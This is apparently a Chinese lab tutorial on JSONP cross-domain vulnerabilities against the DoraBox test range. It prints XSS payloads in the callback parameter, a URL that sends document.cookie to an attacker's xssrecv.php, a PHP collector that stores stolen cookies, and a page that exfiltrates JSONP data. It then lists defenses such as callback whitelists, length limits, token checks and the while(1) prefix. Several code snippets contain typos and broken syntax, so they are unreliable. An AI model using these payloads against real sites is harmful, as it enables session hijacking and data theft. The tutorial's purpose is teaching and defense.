当前位置: 首页 > article >正文

JSONP跨域访问漏洞

一、漏洞一:利用回调GetCookie

<?php$conn = new mysqli('127.0.0.1','root','root','learn') or die("数据库连接不成功");
$conn->set_charset('utf8');
$sql = "select articleid,author,viewcount,creattime from learn3 where articleid < 5";
$result = $conn->query($sql);//输出JSON数据到页面
$json = json_encode($result->fetch_all(MYSQLI_ASSOC));
//echo $json;
echo $_GET['callback'] . "(" . $json . ")";$conn->close();?>
<!-- JSONP回调实现跨域 --><script>function test(args) {alert(JSON.stringify(args));}</script><script src="http://10.211.55.16/list-json.php?callback=test"></script>

当在list-json.html页面中,直接构造以下Payload,则会导致弹窗

<script src="http://192.168.112.183/list-json.php?callback=alert(1);//"></script>

如果payload是这样的话,也会给我们进行弹窗,说明存在XSS漏洞

<script src="http://192.168.112.183/list-json.php?callback=alert('Hello');//"></script>

 

基于这个XSS漏洞,我们就可以去利用这个漏洞

我们可以试着去让它弹出当前页面的Cookie,成功弹出Cookie

<script src="http://192.168.112.183/list-json.php?callback=alert(document.cookie);//"></script>

我们也可以让它做一个登录,成功登录

然后我们再通过XSS漏洞将Sesssion ID弹出来,说明它并没有对当前的Cookie设置http-only的属性,让我们的JavaScript是可以读取到的

接下来呢,我们想办法把这个页面发送给登录的用户,让用户去点击

那么,在弹窗位置,则可以实现利用,比如发送当前页面的Cookie到183的xssrecv.php页面上,Payload如下:

<script src="http://192.168.112.183/list-ison.php?
callback=location.href='http://192.168.112.183/xssrecv.php?
cookie='%2Bdocument.cookie%2B'%26url='%2Blocation.href;//"></script>

 经过http://192.168.112.183/security/list-json.html访问上述页面,即可完成Get Cookie,只要通过XSS漏洞将包含上述Payload的HTML页面连接交给用户访问到,或者引诱登录用户点击,则可以直接获取用户Cookie等数据

$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $_GET['url'];
$cookie = $_GET['cookie'];$conn = new mysqli('127.0.0.1','root','root','learn') or die("数据库连接不成功.");
$conn->set_charset("utf8");
$sql = "insert into xssdata(ipaddr,url,cookie,createtime) values('$ipaddr','$url','$cookie',now())";
$conn->query($sql);
echo "<script>location.href='http://www.woniunote.com/'</script>";

然后我们打开数据库,去看看xssdata那张表,看看能不能增加一条记录

 然后我们去运行,发现已经跳转到蜗牛笔记了

然后看见多了一条数据

对于其防护措施,首先我们应该限制callback的长度

在list-json.php中增加一条判断语句

if (strlen($_GET['callback']) > 10) {die("too long");
}

我们通过Fidder进行监听一下,响应告诉我们"too long"

当然,我们可以设置白名单,限制回调的函数名,代码如下:

$white_list = array('test','jsonp','handle','doedit');
if !in_array($_GET['callback'],$white_list) {die("wrong_value");
}

综上所述,需要对回调函数的名称进行严格的限制,比如限制其长度,查询其关键词,或者使用白名单

二、漏洞二:利用CSRF获取数据

当发现某个站点存在JSONP跨域漏洞之后,则只需要构造一个链接,让被攻击者在登录状态下点击,然后在188服务器上的list-json.html页面中的alert()的位置将获取到的数据发送给攻击服务器即可

在DoraBox靶场环境中存在这样一行代码:

$callback = htmlspecialchars($_GET['callback']);

上述代码将跨域网站提交过去的callback的内容进行了转义,杜绝了XSS获取Cookie的漏洞。但是该页面依然存在JSONP漏洞,在攻击服务器192.168.112.183上添加jsonouse.html页面,访问正常服务器192.168.112.188上的Dorabox的JSONP漏洞页面,代码:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1.0"><title>跨页面查看JSON数据</title><script>function test(args) {location.href="http://192.168.112.183/jsonprecv.php?value="+JSON.stringify(args)+"&referer="document.referer;}</script><script src="http://192.168.112.188/dorabox/csrf/jsonp.php?callback=test"></script></head>
<body>Good Boy
</body>
</html>

同时,在183攻击服务器上增加jsonprecv.php页面,内容如下:

$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $_GET['referer'];
$value = $_GET['value'];$conn = new mysqli('127.0.0.1','root','123456','learn') or die("数据库连接不成功.");
$conn->set_charest("utf8");
$sql = "insert into xssdata(ipaddr,url,cookie,createtime) values('$ipaddr','$url','$cookie',now())";
$conn->query($sql);echo "<script>location.href='http://www.woniunote.com/'</script>";

然后我们去访问192.168.112.183/jsonpuser.html,然后跳转到了蜗牛笔记那儿

 然后去数据库看看有没有新增的数据

此时,在188的Dorabox服务器中,利用XSS漏洞生成一个连接到183攻击服务器的"http://192.168.112.183/jsonpuse.html"页面,完成数据泄露攻击。(或者直接让用户点击也可以)

DoraBox的存储型比较有意思,直接在stored_xss.php的当前页面的源代码里面写入存储数据,所以要将此文件设置为可写权限

我们修改list-json.php的代码,如下所示,加一个while(1)

当我们去访问的时候,发现已经没反应了,因为while(1)一直在做死循环,这也是一个很好的防御方式

三、JSON攻击防御方案

产生JSONP攻击的核心在于没有对调用方进行校验

(1)前后端约定jsonp请求的js的回调函数名,不能自己定义回调名称

(2)严格安全的实现CSRF方式调用JSON文件:限制Referer、部署一次性Token或其他Token验证等

(3)严格按照JSON格式标准输出Content-Type及编码(Content-Type:application/json;charset=utf8),避免被XSS利用。可以在PHP源代码中添加header("content-type:application/json");即可。

(4)严格过滤callback函数名及JSON里数据的输出

(5)严格限制对JSONP输出callback函数名的长度和内容

(6)其他一些比较"猥琐"的方法:如在Callback输出之前加入其他字符(如:/**/、回车换行)这样不影响JSON文件加载,又能一定程度预防其他文件格式的输出。还比如Gmall早期使用AJAX的方式获取JSON,听过在输出JSON之前加入while(1);这样的代码来防止JS远程调用。(可以试试,上面就是这个的例子)

相关文章:

JSONP跨域访问漏洞

一、漏洞一:利用回调GetCookie <?php$conn new mysqli(127.0.0.1,root,root,learn) or die("数据库连接不成功"); $conn->set_charset(utf8); $sql "select articleid,author,viewcount,creattime from learn3 where articleid < 5"; $result…...

记录一次StarRocks集群迁移的经历

记录一次StarRocks集群迁移的经历 新入职了一家公司,刚去做了两张报表后,接到一个任务,做StarRocks 集群迁移,背景是这样的就是以前是自建的SR,但是这个SR 是给线上业务用的,也就是说不是分析性业务,而是面向产品ToC 的,也了解了一下是因为单表数据量太大了,所以直接…...

图形裁剪算法

1.学习目标 理解区域编码(Region Code&#xff0c;RC) 设计Cohen-Sutherland直线裁剪算法 编程实现Cohen-Sutherland直线裁剪算法 2.具体代码 1.具体算法 /*** Cohen-Sutherland直线裁剪算法 - 优化版* author AI Assistant* license MIT*/// 区域编码常量 - 使用对象枚举…...

Python字典实战: 三大管理系统开发指南(班级+会议+购物车)(附源码)

目录 摘要 一、班级管理系统&#xff08;含成绩模块&#xff09; 1. 功能概述 2. 完整代码与解析 3. 代码解析与亮点 二、会议管理系统 1. 功能概述 2. 完整代码 3. 代码解析与亮点 三、购物车管理系统 1. 功能概述 2. 完整代码 3. 代码解析与亮点 四、总结与扩…...

R 语言科研绘图第 36 期 --- 饼状图-基础

在发表科研论文的过程中&#xff0c;科研绘图是必不可少的&#xff0c;一张好看的图形会是文章很大的加分项。 为了便于使用&#xff0c;本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中&#xff0c;获取方式&#xff1a; R 语言科研绘图模板 --- sciRplothttps://mp.…...

vue 3 从零开始到掌握

vue3从零开始一篇文章带你学习 升级vue CLI 使用命令 ## 查看vue/cli版本&#xff0c;确保vue/cli版本在4.5.0以上 vue --version ## 安装或者升级你的vue/cli npm install -g vue/cli ## 创建 vue create vue_test ## 启动 cd vue_test npm run servenvm管理node版本&#…...

【R语言绘图】圈图绘制代码

绘制代码 rm(list ls())# 加载必要包 library(data.table) library(circlize) library(ComplexHeatmap) library(rtracklayer) library(GenomicRanges) library(BSgenome) library(GenomicFeatures) library(dplyr)### 数据准备阶段 ### # 1. 读取染色体长度信息 df <- re…...

OCR迁移

一、环境 操作系统&#xff1a;Centos57.6 数据库版本&#xff1a;12.2.0.1 场景&#xff1a;将OCR信息从DATA磁盘组迁移到OCR磁盘组 二、操作步骤 1.查看可用空盘 set lin 200 set pagesize 200 col DGNAME format a15 col DISKNAME format a15 col PATH format a20 col N…...

OpenCV 图形API(17)计算输入矩阵 src 中每个元素的平方根函数sqrt()

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 描述 计算数组元素的平方根。 cv::gapi::sqrt 函数计算每个输入数组元素的平方根。对于多通道数组&#xff0c;每个通道会独立处理。其精度大约与内置的 …...

python中的in关键字查找的时间复杂度

列表&#xff08;List&#xff09; 对于列表来说&#xff0c; in 运算符的复杂度是 O(n)&#xff0c;其中n是列表的长度。这意味着如果列表中有n个元素&#xff0c;那么执行 in 运算符需要遍历整个列表来查找目标元素。 以下是一个示例&#xff0c;演示了在列表中使用 in 运算…...

Python爬虫第6节-requests库的基本用法

目录 前言 一、准备工作 二、实例引入 三、GET请求 3.1 基本示例 3.2 抓取网页 3.3 抓取二进制数据 3.4 添加headers 四、POST请求 五、响应 前言 前面我们学习了urllib的基础使用方法。不过&#xff0c;urllib在实际应用中存在一些不便之处。以网页验证和Cookies处理…...

什么是可靠性工程师?

一、什么是可靠性工程师&#xff1f; 可靠性工程师就是负责确保产品在使用过程中不出故障、不给客户添麻烦。 你可以理解为是那种“挑毛病的人”&#xff0c;但不是事后挑&#xff0c;是提前想清楚产品在哪些情况下可能会出问题&#xff0c;然后解决掉。 比如&#xff1a; …...

linux (CentOS 10)使用传统程序语言(C)进行编译---主,子程序连接:子程序的编译

1 主程序 rootlocalhost:~/testc/testlink3# cat thanks.c #include <stdio.h> // 声明子程序 void thanks_2(void); int main(void) {printf("Hello World\n");thanks_2(); }2 子程序 rootlocalhost:~/testc/testlink3# cat thanks_2.c #include <stdio.…...

如何根据设计稿进行移动端适配:全面详解

如何根据设计稿进行移动端适配&#xff1a;全面详解 文章目录 如何根据设计稿进行移动端适配&#xff1a;全面详解1. **理解设计稿**1.1 设计稿的尺寸1.2 设计稿的单位 2. **移动端适配的核心技术**2.1 使用 viewport 元标签2.1.1 代码示例2.1.2 参数说明 2.2 使用相对单位2.2.…...

【Kafka基础】Kafka 2.8以下版本的安装与配置指南:传统ZooKeeper依赖版详解

对于仍在使用Kafka 2.8之前版本的团队来说&#xff0c;需要特别注意其强依赖外部ZooKeeper的特性。本文将完整演示传统架构下的安装流程&#xff0c;并对比新旧版本差异。 1 版本特性差异说明 1.1 2.8 vs 2.8-核心区别 特性 2.8版本 2.8-版本 协调服务 可选内置KRaft模式 …...

Redis-x64-3.2.100.msi : Windows 安装包(MSI 格式)安装步骤

Redis-x64-3.2.100.msi 是 Redis 的 Windows 安装包&#xff08;MSI 格式&#xff09;&#xff0c;适用于 64 位系统。 在由于一些环境需要低版本的Redis的安装包。 Redis-x64-3.2.100.msi 安装包下载&#xff1a;https://pan.quark.cn/s/cc4d38262a15 Redis 是一个开源的 内…...

ZoomCharts使用方法

本篇没有讲解&#xff0c;只是自己的小笔记&#xff0c;有看到的网友想明白具体用法的可以来私信我 <div class"zoomChartsComponent"><div id"zoomCharts-demo"></div></div> var ZoomChartsLicense ; var ZoomChartsLicenseKey…...

【云计算】打造高效容器云平台:规划、部署与架构设计

引言 随着移动互联网时代的大步跃进&#xff0c;互联网公司业务的爆炸式增长发展给传统行业带来了巨大的冲击和挑战&#xff0c;被迫考虑转型和调整。对于我们传统的航空行业来说&#xff0c;还存在传统的思维、落后的技术。一项新业务从提出需求到立项审批、公开招标、项目实…...

DeepSeek底层揭秘——《推理时Scaling方法》内容理解

4月初&#xff0c;DeepSeek 提交到 arXiv 上的最新论文正在 AI 社区逐渐升温。 论文核心内容理解 DeepSeek与清华大学联合发布的论文《奖励模型的推理时Scaling方法及其在大规模语言模型中的应用》&#xff0c;核心在于提出一种新的推理时Scaling方法&#xff0c;即通过动态调…...

JavaScript之Json数据格式

介绍 JavaScript Object Notation&#xff0c; js对象标注法&#xff0c;是轻量级的数据交换格式完全独立于编程语言文本字符集必须用UTF-8格式&#xff0c;必须用“”任何支持的数据类型都可以用JSON表示JS内内置JSON解析JSON本质就是字符串 Json对象和JS对象互相转化 前端…...

OBS 中如何设置固定码率(CBR)与可变码率(VBR)?

在使用 OBS 进行录制或推流时,设置“码率控制模式”(Rate Control)是非常重要的一步。常见的控制模式包括: CBR(固定码率):保持恒定的输出码率,适合直播场景。 VBR(可变码率):在允许的范围内动态调整码率,适合本地录制、追求画质。 一、CBR vs. VBR 的差异 项目CBR…...

使用 Rsync + Lsyncd 实现 CentOS 7 实时文件同步

文章目录 &#x1f300;使用 Rsync Lsyncd 实现 CentOS 7 实时文件同步前言介绍架构图&#x1f9f1;系统环境&#x1f527;Rsync配置&#xff08;两台都需安装&#xff09;关闭SELinux&#xff08;两台都需&#xff09; &#x1f4e6;配置目标端&#xff08;client&#xff09…...

C# 多线程并发编程基础

1. 线程基础 1.1 线程简介 C# 中的线程是操作系统能够进行运算调度的最小单位&#xff0c;它被包含在进程中&#xff0c;是进程中的实际运作单位。一个进程可以包含多个线程&#xff0c;这些线程可以并发执行不同的任务。 1.2 线程的创建与启动 在 C# 中&#xff0c;可以使…...

RAG(检索增强生成)系统,提示词(Prompt)表现测试(数据说话)

在RAG(检索增强生成)系统中,评价提示词(Prompt)设计是否优秀,必须通过量化测试数据来验证,而非主观判断。以下是系统化的评估方法、测试指标和具体实现方案: 一、提示词优秀的核心标准 优秀的提示词应显著提升以下指标: 维度量化指标测试方法事实一致性Faithfulness …...

QML和C++交互

目录 1 QML与C交互基础1.1 全局属性1.2 属性私有化(提供接口访问) 2 QT与C交互&#xff08;C创建自定义对象&#xff0c;qml文件直接访问&#xff09;3 QT与C交互&#xff08;qml直接访问C中的函数&#xff09;4 QT与C交互&#xff08;qml端发送信号 C端实现槽函数&#xff09;…...

Android studio学习之路(六)--真机的调试以及多媒体照相的使用

多媒体应用&#xff08;语言识别&#xff0c;照相&#xff0c;拍视频&#xff09;在生活的各个方面都具有非常大的作用&#xff0c;所以接下来将会逐步介绍多媒体的使用&#xff0c;但是在使用多媒体之前&#xff0c;使用模拟器肯定是不行的&#xff0c;所以我们必须要使用真机…...

解决 Lettuce 在 Redis 集群模式下的故障转移问题

引言 在高可用系统中&#xff0c;故障转移是确保服务不中断的重要机制。当我们使用 Lettuce 作为 Redis 的 Java 客户端时&#xff0c;如何高效地处理故障转移成为一项关键任务。本篇文章将探讨如何在 Redis 集群模式下配置 Lettuce 以优化故障转移。 背景 在初期设置 Lettu…...

Qt 资源文件(.qrc 文件)

Qt 资源文件&#xff08;.qrc 文件&#xff09;是 Qt 提供的一种机制&#xff0c;用来将文件&#xff08;如图像、音频、文本文件等&#xff09;嵌入到应用程序中&#xff0c;使得这些文件不需要依赖外部文件路径&#xff0c;而是直接打包到程序的可执行文件中。通过使用 Qt 资…...

Vue 组件命名及子组件接收参数命名

1. 对于单个单词的组件 方式一&#xff1a;首字母大写。如 <School></School>。在 vue 开发者工具中默认使用的是该种方式。 方式二&#xff1a; 首字母小写。如 <school></school> 2. 对于多个单词的组件 方式一&#xff1a;每个单词都是小写&…...

PandaAI:一个基于AI的对话式数据分析工具

PandaAI 是一个基于 Python 开发的自然语言处理和数据分析工具&#xff0c;支持问答式&#xff08;ChatGPT&#xff09;的数据分析和报告生成功能。PandaAI 提供了一个开源的框架&#xff0c;主要核心组件包含用于数据处理的数据准备层&#xff08;Pandas&#xff09;以及实现 …...